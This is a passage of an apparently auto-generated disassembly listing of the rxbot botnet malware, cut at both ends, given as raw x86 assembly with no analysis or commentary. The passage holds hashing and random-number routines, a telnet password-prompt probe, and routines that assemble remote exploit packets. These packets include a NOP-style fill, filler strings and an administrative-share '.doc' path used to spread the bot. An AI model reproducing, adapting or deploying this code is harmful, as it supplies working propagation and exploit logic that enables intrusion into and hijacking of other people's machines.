[ecx+esi+4881D05h] mov ecx, esi shl ecx, 17h shr esi, 9 or ecx, esi mov esi, [ebp+arg_4] add ecx, edi xor esi, ecx add esi, [ebp+var_20] lea esi, [edx+esi-262B2FC7h] mov edx, esi shr edx, 1Ch shl esi, 4 or edx, esi mov esi, edi add edx, ecx xor esi, ecx xor esi, edx add esi, [ebp+var_14] lea ebx, [ebx+esi-1924661Bh] mov esi, ebx shr esi, 15h shl ebx, 0Bh or esi, ebx add esi, edx mov ebx, esi xor ebx, ecx xor ebx, edx add ebx, [ebp+var_8] lea ebx, [edi+ebx+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, esi add edi, esi xor ebx, edi xor ebx, edx add ebx, [ebp+var_3C] lea ecx, [ecx+ebx-3B53A99Bh] mov ebx, ecx shl ebx, 17h shr ecx, 9 or ebx, ecx mov ecx, esi add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [ebp+var_44] lea edx, [edx+ecx-0BD6DDBCh] mov ecx, edx shr ecx, 1Ah shl edx, 6 or ecx, edx mov edx, edi add ecx, ebx not edx or edx, ecx xor edx, ebx add edx, [ebp+var_28] lea esi, [esi+edx+432AFF97h] mov edx, esi shr edx, 16h shl esi, 0Ah or edx, esi mov esi, ebx add edx, ecx not esi or esi, edx xor esi, ecx add esi, [ebp+var_C] lea edi, [edi+esi-546BDC59h] mov esi, edi shr esi, 11h shl edi, 0Fh or esi, edi mov edi, ecx add esi, edx not edi or edi, esi xor edi, edx add edi, [ebp+var_30] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shr ebx, 0Bh shl edi, 15h or edi, ebx mov ebx, edx not ebx add edi, esi or ebx, edi xor ebx, esi add ebx, [ebp+var_14] lea ebx, [ecx+ebx+655B59C3h] mov ecx, ebx shl ebx, 6 shr ecx, 1Ah or ecx, ebx mov ebx, esi not ebx add ecx, edi or ebx, ecx xor ebx, edi add ebx, [ebp+var_38] lea ebx, [edx+ebx-70F3336Eh] mov edx, ebx shl ebx, 0Ah shr edx, 16h or edx, ebx mov ebx, edi add edx, ecx not ebx or ebx, edx xor ebx, ecx add ebx, [ebp+var_1C] lea ebx, [esi+ebx-100B83h] mov esi, ebx shr esi, 11h shl ebx, 0Fh or esi, ebx mov ebx, ecx add esi, edx not ebx or ebx, esi xor ebx, edx add ebx, [ebp+var_40] lea ebx, [edi+ebx-7A7BA22Fh] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, edx add edi, esi not ebx or ebx, edi xor ebx, esi add ebx, [ebp+var_24] lea ebx, [ecx+ebx+6FA87E4Fh] mov ecx, ebx shr ecx, 1Ah shl ebx, 6 or ecx, ebx mov ebx, esi add ecx, edi not ebx or ebx, ecx xor ebx, edi add ebx, [ebp+var_8] lea ebx, [edx+ebx-1D31920h] mov edx, ebx shr edx, 16h shl ebx, 0Ah or edx, ebx mov ebx, edi add edx, ecx not ebx or ebx, edx xor ebx, ecx add ebx, [ebp+var_2C] lea ebx, [esi+ebx-5CFEBCECh] loc_40A89A: ; DATA XREF: .data:00414DC0o ; .data:00414E04o ... mov esi, ebx shr esi, 11h shl ebx, 0Fh or esi, ebx mov ebx, ecx add esi, edx not ebx or ebx, esi xor ebx, edx add ebx, [ebp+var_10] lea ebx, [edi+ebx+4E0811A1h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, edx add edi, esi not ebx or ebx, edi xor ebx, esi add ebx, [ebp+var_34] lea ebx, [ecx+ebx-8AC817Eh] mov ecx, ebx shr ecx, 1Ah shl ebx, 6 or ecx, ebx mov ebx, esi add ecx, edi not ebx or ebx, ecx xor ebx, edi add ebx, [ebp+var_18] lea edx, [edx+ebx-42C50DCBh] mov ebx, edx shr ebx, 16h shl edx, 0Ah or ebx, edx mov edx, edi add ebx, ecx not edx or edx, ebx xor edx, ecx add edx, [ebp+var_3C] lea esi, [esi+edx+2AD7D2BBh] mov edx, esi shr edx, 11h shl esi, 0Fh or edx, esi mov esi, ecx add edx, ebx not esi or esi, edx xor esi, ebx add esi, [ebp+var_20] lea edi, [edi+esi-14792C6Fh] mov esi, [eax] add esi, ecx mov ecx, edi shl ecx, 15h shr edi, 0Bh or ecx, edi mov [eax], esi add ecx, [eax+4] pop edi pop esi add ecx, edx mov [eax+4], ecx mov ecx, [eax+8] add ecx, edx mov [eax+8], ecx mov ecx, [eax+0Ch] add ecx, ebx pop ebx mov [eax+0Ch], ecx leave retn sub_40A0BD endp ; =============== S U B R O U T I N E ======================================= sub_40A95D proc near ; CODE XREF: sub_40A0BD+12p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp [esp+arg_8], 0 jbe short locret_40A9A2 mov edx, [esp+arg_4] mov ecx, [esp+arg_0] push esi push edi push 0FFFFFFFEh lea eax, [edx+2] pop esi sub esi, edx loc_40A976: ; CODE XREF: sub_40A95D+41j movzx edi, byte ptr [eax-1] xor edx, edx mov dh, [eax+1] mov dl, [eax] add eax, 4 shl edx, 8 or edx, edi movzx edi, byte ptr [eax-6] shl edx, 8 or edx, edi mov [ecx], edx lea edx, [esi+eax] add ecx, 4 cmp edx, [esp+8+arg_8] jb short loc_40A976 pop edi pop esi locret_40A9A2: ; CODE XREF: sub_40A95D+5j retn sub_40A95D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9A3 proc near ; CODE XREF: seg000:0041061Bp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push 0F0000000h push 1 push 0 lea eax, [ebp+var_4] push 0 push eax call ds:dword_411024 ; CryptAcquireContextA mov esi, ds:dword_411020 push offset dword_41880C push 4 push [ebp+var_4] call esi ; CryptGenRandom push offset dword_418810 push 4 push [ebp+var_4] call esi ; CryptGenRandom push offset dword_418814 push 4 push [ebp+var_4] call esi ; CryptGenRandom push offset dword_418818 push 4 push [ebp+var_4] call esi ; CryptGenRandom push 0 push [ebp+var_4] call ds:dword_41101C ; CryptReleaseContext pop esi leave retn sub_40A9A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA05 proc near ; CODE XREF: sub_40AADE+3p sub_40AB05p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx lock xadd dword_41880C, eax add eax, ebx lock xadd dword_418810, eax add eax, ecx lock xadd dword_418814, eax add eax, edx lock xadd dword_418818, eax add eax, esi lock xadd dword_41880C, eax add eax, edi lock xadd dword_418810, eax add eax, ebp lock xadd dword_418814, eax add eax, esp lock xadd dword_418818, eax call sub_41084A ; clock mov [ebp+var_4], eax mov eax, [ebp+var_4] lock xadd dword_41880C, eax lock xadd dword_418810, eax lock xadd dword_418814, eax lock xadd dword_418818, eax add ecx, ebx ror ebx, cl lock xadd dword_418814, ebx add ecx, ecx ror ecx, cl lock xadd dword_418810, ecx add ecx, edx ror edx, cl lock xadd dword_41880C, edx rol eax, cl add ecx, eax ror ebx, cl add ecx, ebx ror ecx, cl add ecx, 211h rol edx, cl add ecx, edx lock xadd dword_418818, edx lock xadd dword_418814, ecx lock xadd dword_418810, ebx lock xadd dword_41880C, eax pop ebx leave retn sub_40AA05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AADE proc near ; CODE XREF: sub_401B81+C1p ; sub_40315E+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp call sub_40AA05 call sub_41084A ; clock lock xadd dword_418818, eax mov ecx, [ebp+arg_4] sub ecx, [ebp+arg_0] xor edx, edx inc ecx div ecx mov eax, edx add eax, [ebp+arg_0] pop ebp retn sub_40AADE endp ; =============== S U B R O U T I N E ======================================= sub_40AB05 proc near ; CODE XREF: sub_408832:loc_408898p ; sub_408F9D+8DAp ... call sub_40AA05 call sub_41084A ; clock lock xadd dword_418818, eax retn sub_40AB05 endp ; =============== S U B R O U T I N E ======================================= sub_40AB18 proc near ; CODE XREF: sub_40AB46:loc_40AB74p ; sub_40D700+CEp call sub_40AA05 call sub_41084A ; clock lock xadd dword_418810, eax and eax, 0FFh retn sub_40AB18 endp ; =============== S U B R O U T I N E ======================================= sub_40AB30 proc near ; CODE XREF: sub_408F4C+2Bp ; sub_40B32A+108p call sub_40AA05 call sub_41084A ; clock lock xadd dword_41880C, eax and eax, 1 retn sub_40AB30 endp ; =============== S U B R O U T I N E ======================================= sub_40AB46 proc near ; CODE XREF: sub_40735A+5D8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] test ebx, ebx push esi jz short loc_40AB7F mov esi, [esp+8+arg_0] cmp ebx, 3 jbe short loc_40AB70 push edi mov edi, ebx shr edi, 2 loc_40AB5F: ; CODE XREF: sub_40AB46+27j call sub_40AB05 mov [esi], eax add esi, 4 sub ebx, 4 dec edi jnz short loc_40AB5F pop edi loc_40AB70: ; CODE XREF: sub_40AB46+11j test ebx, ebx jbe short loc_40AB7F loc_40AB74: ; CODE XREF: sub_40AB46+37j call sub_40AB18 mov [esi], al inc esi dec ebx jnz short loc_40AB74 loc_40AB7F: ; CODE XREF: sub_40AB46+8j ; sub_40AB46+2Cj pop esi pop ebx retn sub_40AB46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB82 proc near ; CODE XREF: sub_4027CB+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_4], 0 jnz short loc_40AB8F xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_40AB8F: ; CODE XREF: sub_40AB82+7j mov eax, [ebp+arg_10] test eax, eax jnz short loc_40AB99 mov eax, [ebp+arg_4] loc_40AB99: ; CODE XREF: sub_40AB82+12j push edi push eax push [ebp+arg_4] call sub_40AADE mov edi, eax pop ecx test edi, edi pop ecx jbe short loc_40ABC7 push ebx push esi mov esi, [ebp+arg_0] mov ebx, edi loc_40ABB2: ; CODE XREF: sub_40AB82+41j push [ebp+arg_C] push [ebp+arg_8] call sub_40AADE mov [esi], al pop ecx inc esi dec ebx pop ecx jnz short loc_40ABB2 pop esi pop ebx loc_40ABC7: ; CODE XREF: sub_40AB82+27j mov eax, edi pop edi pop ebp retn sub_40AB82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ABCC proc near ; CODE XREF: seg000:0041062Dp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push esi lea eax, [ebp+var_58] push edi push eax call sub_409F29 push [ebp+arg_4] lea eax, [ebp+var_58] push [ebp+arg_0] push eax call sub_409F51 lea eax, [ebp+var_58] push eax push offset byte_418820 call sub_409FF0 add esp, 18h lea esi, byte_418820 mov edi, esi push 10h pop ecx loc_40AC08: ; CODE XREF: sub_40ABCC+43j lodsb or eax, 80h stosb loop loc_40AC08 pop edi pop esi leave retn sub_40ABCC endp ; =============== S U B R O U T I N E ======================================= sub_40AC15 proc near ; CODE XREF: sub_4049B5+7Dp ; sub_4049B5+FFp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push esi mov bl, [ecx] cmp bl, 7Fh ja short loc_40AC4B xor esi, esi test bl, bl jz short loc_40AC4B push edi loc_40AC29: ; CODE XREF: sub_40AC15+33j mov eax, esi push 10h cdq pop edi idiv edi mov al, byte_418820[edx] xor al, bl inc esi mov [ecx], al mov eax, [esp+0Ch+arg_0] mov bl, [esi+eax] lea ecx, [esi+eax] test bl, bl jnz short loc_40AC29 pop edi loc_40AC4B: ; CODE XREF: sub_40AC15+Bj ; sub_40AC15+11j pop esi pop ebx retn sub_40AC15 endp ; =============== S U B R O U T I N E ======================================= sub_40AC4E proc near ; CODE XREF: sub_401000+3Fp ; sub_4033B0+19p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push esi mov bl, [ecx] cmp bl, 7Fh jbe short loc_40AC84 xor esi, esi test bl, bl jz short loc_40AC84 push edi loc_40AC62: ; CODE XREF: sub_40AC4E+33j mov eax, esi push 10h cdq pop edi idiv edi mov al, byte_418820[edx] xor al, bl inc esi mov [ecx], al mov eax, [esp+0Ch+arg_0] mov bl, [esi+eax] lea ecx, [esi+eax] test bl, bl jnz short loc_40AC62 pop edi loc_40AC84: ; CODE XREF: sub_40AC4E+Bj ; sub_40AC4E+11j pop esi pop ebx retn sub_40AC4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC87 proc near ; DATA XREF: .data:00416A88o var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h push esi mov esi, [ebp+arg_0] push edi mov edi, 200h push 2710h lea eax, [ebp+var_200] push edi push eax push dword ptr [esi+3Eh] call sub_403DAD add esp, 10h test eax, eax jz short loc_40AD27 push 0Ch lea eax, [ebp+var_200] push offset dword_4140E0 push eax call sub_410AFA ; memcmp add esp, 0Ch test eax, eax jnz short loc_40AD27 lea eax, [ebp+var_200] push edi push eax push dword ptr [esi+3Eh] call sub_403D69 add esp, 0Ch test eax, eax jz short loc_40AD27 lea eax, [ebp+var_200] push offset aUserAccessVeri ; "\r\n\r\nUser Access Verification\r\n\r\nPasswor"... push eax call sub_410AEE ; strcmp pop ecx test eax, eax pop ecx jnz short loc_40AD27 mov eax, [esi] inc dword ptr [eax+2Ah] lea eax, [esi+42h] push eax mov eax, [esi] add esi, 4 push dword ptr [eax+2Ah] push offset aTelnet ; "telnet" push esi push offset unk_414074 push offset dword_4177EC call sub_408CDE add esp, 18h loc_40AD27: ; CODE XREF: sub_40AC87+2Dj ; sub_40AC87+47j ... pop edi pop esi leave retn sub_40AC87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AD2B proc near ; CODE XREF: sub_40AE3D+5Ap var_1000 = byte ptr -1000h var_FF8 = byte ptr -0FF8h var_FF4 = byte ptr -0FF4h var_FDB = byte ptr -0FDBh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_4108B0 push ebx push esi mov ebx, 0EA60h push edi push ebx push [ebp+arg_0] call sub_403DD6 mov esi, ds:dword_411258 pop ecx test eax, eax pop ecx mov edi, 1000h jz short loc_40AD7A push 0 lea eax, [ebp+var_1000] push edi push eax push [ebp+arg_0] call esi ; recv test eax, eax jz loc_40AE36 cmp eax, 0FFFFFFFFh jz loc_40AE36 loc_40AD7A: ; CODE XREF: sub_40AD2B+2Dj push 28h push offset dword_4140F0 push [ebp+arg_0] call sub_403D54 push ebx push [ebp+arg_0] call sub_403DD6 add esp, 14h test eax, eax jz loc_40AE36 push 0 lea eax, [ebp+var_1000] push edi push eax push [ebp+arg_0] call esi ; recv test eax, eax jz loc_40AE36 cmp eax, 0FFFFFFFFh jz short loc_40AE36 lea eax, [ebp+var_FDB] push eax call sub_41088C ; atoi cmp [ebp+var_FF8], 5 pop ecx mov ecx, [ebp+arg_4] mov [ecx], eax jnz short loc_40AE23 cmp [ebp+var_FF4], 0 jnz short loc_40ADEF xor ecx, ecx cmp eax, 4 setle cl dec ecx and ecx, 0FFFFFFFEh inc ecx inc ecx loc_40ADEB: ; CODE XREF: sub_40AD2B+DCj ; sub_40AD2B+F6j ... mov eax, ecx jmp short loc_40AE38 ; --------------------------------------------------------------------------- loc_40ADEF: ; CODE XREF: sub_40AD2B+B0j cmp [ebp+var_FF4], 1 jnz short loc_40AE09 xor ecx, ecx cmp eax, 2 setle cl dec ecx and ecx, 0FFFFFFFDh add ecx, 3 jmp short loc_40ADEB ; --------------------------------------------------------------------------- loc_40AE09: ; CODE XREF: sub_40AD2B+CBj cmp [ebp+var_FF4], 2 jnz short loc_40AE36 xor ecx, ecx cmp eax, 3 setle cl dec ecx and ecx, 0FFFFFFFCh add ecx, 4 jmp short loc_40ADEB ; --------------------------------------------------------------------------- loc_40AE23: ; CODE XREF: sub_40AD2B+A7j cmp [ebp+var_FF8], 4 jnz short loc_40AE36 xor ecx, ecx cmp eax, 6 setle cl jmp short loc_40ADEB ; --------------------------------------------------------------------------- loc_40AE36: ; CODE XREF: sub_40AD2B+40j ; sub_40AD2B+49j ... xor eax, eax loc_40AE38: ; CODE XREF: sub_40AD2B+C2j pop edi pop esi pop ebx leave retn sub_40AD2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE3D proc near ; DATA XREF: .data:004169A0o var_1204 = byte ptr -1204h var_1004 = byte ptr -1004h var_F37 = byte ptr -0F37h var_E02 = byte ptr -0E02h var_E00 = dword ptr -0E00h var_DFC = byte ptr -0DFCh var_BF2 = byte ptr -0BF2h var_A2C = byte ptr -0A2Ch var_928 = byte ptr -928h var_518 = byte ptr -518h var_414 = byte ptr -414h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1204h call sub_4108B0 push ebx push esi mov esi, [ebp+arg_0] push edi push 3 push offset asc_412214 ; "\r\n" push dword ptr [esi+2Ah] lea eax, [esi+146h] push eax lea eax, [esi+0C6h] push eax lea eax, [ebp+var_1204] push dword ptr [esi+0C2h] push 200h push eax call sub_40D700 mov edi, eax add esp, 20h test edi, edi jz loc_40B005 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push dword ptr [esi+3Eh] call sub_40AD2B pop ecx mov [ebp+var_4], eax test eax, eax pop ecx jz loc_40B005 mov ebx, 1000h lea eax, [ebp+var_1004] push ebx push 0 push eax call sub_410850 ; memset push 2 lea eax, [ebp+var_1004] push offset dword_4141C4 push eax call sub_410838 ; memcpy push 1F4h lea eax, [ebp+var_F37] push 90h push eax call sub_410850 ; memset lea eax, [ebp+var_1204] push edi push eax lea eax, [ebp+var_DFC] push eax call sub_410838 ; memcpy push 5 lea eax, [ebp+var_BF2] push offset aRxbot ; "rxbot" push eax call sub_410838 ; memcpy push 0Eh lea eax, [ebp+var_A2C] push offset aRxbotWasHere ; "rxbot was here" push eax call sub_410838 ; memcpy add esp, 48h lea eax, [ebp+var_928] push 11h push offset a121204131313 ; "12/12/04 13:13:13" push eax call sub_410838 ; memcpy push 0Eh lea eax, [ebp+var_518] push offset aRxbot_paradise ; "rxbot_paradise" push eax call sub_410838 ; memcpy push 10h lea eax, [ebp+var_414] push offset a131_131_131_13 ; "131.131.131.131" push eax call sub_410838 ; memcpy mov edi, offset loc_41416C push edi call sub_410826 ; strlen push eax lea eax, [ebp+var_108] push edi push eax call sub_410838 ; memcpy push 2 lea eax, [ebp+var_E02] push offset loc_414168 push eax call sub_410838 ; memcpy add esp, 40h cmp [ebp+var_4], 1 jnz short loc_40AF9D mov eax, [ebp+arg_0] mov eax, dword_41411C[eax*4] jmp short loc_40AFC8 ; --------------------------------------------------------------------------- loc_40AF9D: ; CODE XREF: sub_40AE3D+152j cmp [ebp+var_4], 2 jnz short loc_40AFAF mov eax, [ebp+arg_0] mov eax, dword_414138[eax*4] jmp short loc_40AFC8 ; --------------------------------------------------------------------------- loc_40AFAF: ; CODE XREF: sub_40AE3D+164j cmp [ebp+var_4], 3 mov eax, [ebp+arg_0] jnz short loc_40AFC1 mov eax, dword_41414C[eax*4] jmp short loc_40AFC8 ; --------------------------------------------------------------------------- loc_40AFC1: ; CODE XREF: sub_40AE3D+179j mov eax, dword_414158[eax*4] loc_40AFC8: ; CODE XREF: sub_40AE3D+15Ej ; sub_40AE3D+170j ... mov [ebp+var_E00], eax lea eax, [ebp+var_1004] push ebx push eax push dword ptr [esi+3Eh] call sub_403D54 push 0EA60h push dword ptr [esi+3Eh] call sub_403DD6 add esp, 14h test eax, eax jz short loc_40B005 push 0 lea eax, [ebp+var_1004] push ebx push eax push dword ptr [esi+3Eh] call ds:dword_411258 ; recv loc_40B005: ; CODE XREF: sub_40AE3D+49j ; sub_40AE3D+66j ... pop edi pop esi pop ebx leave retn sub_40AE3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B00A proc near ; CODE XREF: seg000:0040B177p var_1000 = byte ptr -1000h var_FF8 = byte ptr -0FF8h var_FF4 = byte ptr -0FF4h var_FDB = byte ptr -0FDBh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_4108B0 push ebx push esi mov ebx, 0EA60h push edi push ebx push [ebp+arg_0] call sub_403DD6 mov esi, ds:dword_411258 pop ecx test eax, eax pop ecx mov edi, 1000h jz short loc_40B059 push 0 lea eax, [ebp+var_1000] push edi push eax push [ebp+arg_0] call esi ; recv test eax, eax jz loc_40B115 cmp eax, 0FFFFFFFFh jz loc_40B115 loc_40B059: ; CODE XREF: sub_40B00A+2Dj push 28h push offset dword_4141C8 push [ebp+arg_0] call sub_403D54 push ebx push [ebp+arg_0] call sub_403DD6 add esp, 14h test eax, eax jz loc_40B115 push 0 lea eax, [ebp+var_1000] push edi push eax push [ebp+arg_0] call esi ; recv test eax, eax jz loc_40B115 cmp eax, 0FFFFFFFFh jz short loc_40B115 lea eax, [ebp+var_FDB] push eax call sub_41088C ; atoi cmp [ebp+var_FF8], 5 pop ecx mov ecx, [ebp+arg_4] mov [ecx], eax jnz short loc_40B102 cmp [ebp+var_FF4], 0 jnz short loc_40B0CE xor ecx, ecx cmp eax, 4 setle cl dec ecx and ecx, 0FFFFFFFEh inc ecx inc ecx loc_40B0CA: ; CODE XREF: sub_40B00A+DCj ; sub_40B00A+F6j ... mov eax, ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0CE: ; CODE XREF: sub_40B00A+B0j cmp [ebp+var_FF4], 1 jnz short loc_40B0E8 xor ecx, ecx cmp eax, 2 setle cl dec ecx and ecx, 0FFFFFFFDh add ecx, 3 jmp short loc_40B0CA ; --------------------------------------------------------------------------- loc_40B0E8: ; CODE XREF: sub_40B00A+CBj cmp [ebp+var_FF4], 2 jnz short loc_40B115 xor ecx, ecx cmp eax, 3 setle cl dec ecx and ecx, 0FFFFFFFCh add ecx, 4 jmp short loc_40B0CA ; --------------------------------------------------------------------------- loc_40B102: ; CODE XREF: sub_40B00A+A7j cmp [ebp+var_FF8], 4 jnz short loc_40B115 xor ecx, ecx cmp eax, 6 setle cl jmp short loc_40B0CA ; --------------------------------------------------------------------------- loc_40B115: ; CODE XREF: sub_40B00A+40j ; sub_40B00A+49j ... xor eax, eax loc_40B117: ; CODE XREF: sub_40B00A+C2j pop edi pop esi pop ebx leave retn sub_40B00A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1204h call sub_4108B0 push ebx push esi mov esi, [ebp+8] push edi push 3 push offset asc_412214 ; "\r\n" push dword ptr [esi+2Ah] lea eax, [esi+146h] push eax lea eax, [esi+0C6h] push eax lea eax, [ebp-204h] push dword ptr [esi+0C2h] push 200h push eax call sub_40D700 add esp, 20h mov [ebp-4], eax test eax, eax jz loc_40B278 and dword ptr [ebp+8], 0 lea eax, [ebp+8] push eax push dword ptr [esi+3Eh] call sub_40B00A mov ebx, eax pop ecx test ebx, ebx pop ecx jz loc_40B278 mov edi, 1000h lea eax, [ebp-1204h] push edi push 0 push eax call sub_410850 ; memset push 2 lea eax, [ebp-1204h] push offset dword_4141C4 push eax call sub_410838 ; memcpy push 8 lea eax, [ebp-1137h] push offset dword_414218 push eax call sub_410838 ; memcpy push dword ptr [ebp-4] lea eax, [ebp-204h] push eax lea eax, [ebp-112Fh] push eax call sub_410838 ; memcpy push 20h lea eax, [ebp-0FFCh] push offset dword_4141F4 push eax call sub_410838 ; memcpy push 2 lea eax, [ebp-1002h] push offset loc_414168 push eax call sub_410838 ; memcpy add esp, 48h cmp ebx, 1 jnz short loc_40B212 mov eax, [ebp+8] mov eax, dword_414224[eax*4] jmp short loc_40B23B ; --------------------------------------------------------------------------- loc_40B212: ; CODE XREF: seg000:0040B204j cmp ebx, 2 jnz short loc_40B223 mov eax, [ebp+8] mov eax, dword_414240[eax*4] jmp short loc_40B23B ; --------------------------------------------------------------------------- loc_40B223: ; CODE XREF: seg000:0040B215j mov eax, [ebp+8] cmp ebx, 3 jnz short loc_40B234 mov eax, dword_414254[eax*4] jmp short loc_40B23B ; --------------------------------------------------------------------------- loc_40B234: ; CODE XREF: seg000:0040B229j mov eax, dword_414260[eax*4] loc_40B23B: ; CODE XREF: seg000:0040B210j ; seg000:0040B221j ... mov [ebp-1000h], eax lea eax, [ebp-1204h] push edi push eax push dword ptr [esi+3Eh] call sub_403D54 push 0EA60h push dword ptr [esi+3Eh] call sub_403DD6 add esp, 14h test eax, eax jz short loc_40B278 push 0 lea eax, [ebp-1204h] push edi push eax push dword ptr [esi+3Eh] call ds:dword_411258 ; recv loc_40B278: ; CODE XREF: seg000:0040B166j ; seg000:0040B182j ... pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B27D proc near ; DATA XREF: .data:off_416796o var_1800 = byte ptr -1800h var_800 = byte ptr -800h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1800h call sub_4108B0 push ebx push esi mov esi, [ebp+arg_0] push edi push 1 lea eax, [esi+42h] push eax call sub_40C794 push eax lea eax, [ebp+var_800] push eax push esi call sub_40B32A add esp, 14h mov [ebp+arg_0], eax test eax, eax jz short loc_40B325 push 48h push offset dword_414270 push dword ptr [esi+3Eh] call sub_403D54 push 0EA60h push dword ptr [esi+3Eh] call sub_403DD6 add esp, 14h test eax, eax jz short loc_40B325 mov edi, ds:dword_411258 mov ebx, 1000h push 0 lea eax, [ebp+var_1800] push ebx push eax push dword ptr [esi+3Eh] call edi ; recv push [ebp+arg_0] lea eax, [ebp+var_800] push eax push dword ptr [esi+3Eh] call sub_403D54 push 0EA60h push dword ptr [esi+3Eh] call sub_403DD6 add esp, 14h test eax, eax jz short loc_40B325 push 0 lea eax, [ebp+var_1800] push ebx push eax push dword ptr [esi+3Eh] call edi ; recv loc_40B325: ; CODE XREF: sub_40B27D+34j ; sub_40B27D+57j ... pop edi pop esi pop ebx leave retn sub_40B27D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B32A proc near ; CODE XREF: sub_40B27D+27p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, [ebp+arg_0] push 7 push offset dword_4146F0 push dword ptr [eax+2Ah] lea ecx, [eax+146h] push ecx lea ecx, [eax+0C6h] push ecx push dword ptr [eax+0C2h] lea eax, [ebp+var_200] push 200h push eax call sub_40D700 add esp, 20h mov [ebp+arg_0], eax test eax, eax jnz short loc_40B371 leave retn ; --------------------------------------------------------------------------- loc_40B371: ; CODE XREF: sub_40B32A+43j push ebx push esi push edi add eax, 0D7h push 10h mov ebx, 0B3h cdq pop ecx idiv ecx push 0Ch pop eax sub eax, edx jns short loc_40B38E add ebx, 10h loc_40B38E: ; CODE XREF: sub_40B32A+5Fj mov esi, [ebp+arg_4] push 360h push offset dword_4142F0 push esi sub ebx, edx call sub_410838 ; memcpy lea eax, [esi+360h] push 10h push offset dword_414654 push eax call sub_410838 ; memcpy push 30h lea eax, [esi+370h] push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push eax call sub_410838 ; memcpy push ebx lea eax, [esi+3A0h] push 0FFFFFF90h push eax call sub_410850 ; memset push [ebp+arg_0] lea edi, [ebx+3A0h] lea eax, [ebp+var_200] push eax lea eax, [edi+esi] push eax call sub_410838 ; memcpy add edi, [ebp+arg_0] push 3Ch push offset aC1234561111111 ; "\\C$\\123456111111111111111.doc" lea eax, [edi+esi] push eax call sub_410838 ; memcpy add esp, 48h add edi, 3Ch push 30h lea eax, [edi+esi] push offset dword_4146A8 push eax call sub_410838 ; memcpy mov eax, [ebp+arg_8] add esp, 0Ch add edi, 30h dec eax lea ecx, [esi+394h] jz short loc_40B464 dec eax jz short loc_40B45B dec eax jz short loc_40B452 call sub_40AB30 test eax, eax push 4 jz short loc_40B444 push offset dword_4146E8 jmp short loc_40B449 ; --------------------------------------------------------------------------- loc_40B444: ; CODE XREF: sub_40B32A+111j push offset dword_4146EC loc_40B449: ; CODE XREF: sub_40B32A+118j lea eax, [esi+394h] push eax jmp short loc_40B46C ; --------------------------------------------------------------------------- loc_40B452: ; CODE XREF: sub_40B32A+106j push 4 push offset dword_4146E4 jmp short loc_40B46B ; --------------------------------------------------------------------------- loc_40B45B: ; CODE XREF: sub_40B32A+103j push 4 push offset dword_4146E0 jmp short loc_40B46B ; --------------------------------------------------------------------------- loc_40B464: ; CODE XREF: sub_40B32A+100j push 4 push offset dword_4146DC loc_40B46B: ; CODE XREF: sub_40B32A+12Fj ; sub_40B32A+138j push ecx loc_40B46C: ; CODE XREF: sub_40B32A+126j call sub_410838 ; memcpy mov eax, [ebp+arg_0] add esp, 0Ch lea eax, [ebx+eax+30h] lea ecx, [eax-0Ch] add [esi+8], ecx lea ecx, [eax-0Ch] add [esi+10h], ecx lea ecx, [eax-0Ch] add [esi+80h], ecx lea ecx, [eax-0Ch] add [esi+84h], ecx lea ecx, [eax-0Ch] add [esi+0B4h], ecx lea ecx, [eax-0Ch] add [esi+0B8h], ecx lea ecx, [eax-0Ch] add [esi+0D0h], ecx lea ecx, [eax-0Ch] add [esi+18Ch], ecx cdq sub eax, edx sar eax, 1 add [esi+360h], eax add [esi+368h], eax mov eax, edi pop edi pop esi pop ebx leave retn sub_40B32A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4D5 proc near ; DATA XREF: .data:004167D0o var_1B68 = byte ptr -1B68h var_B68 = byte ptr -0B68h var_968 = byte ptr 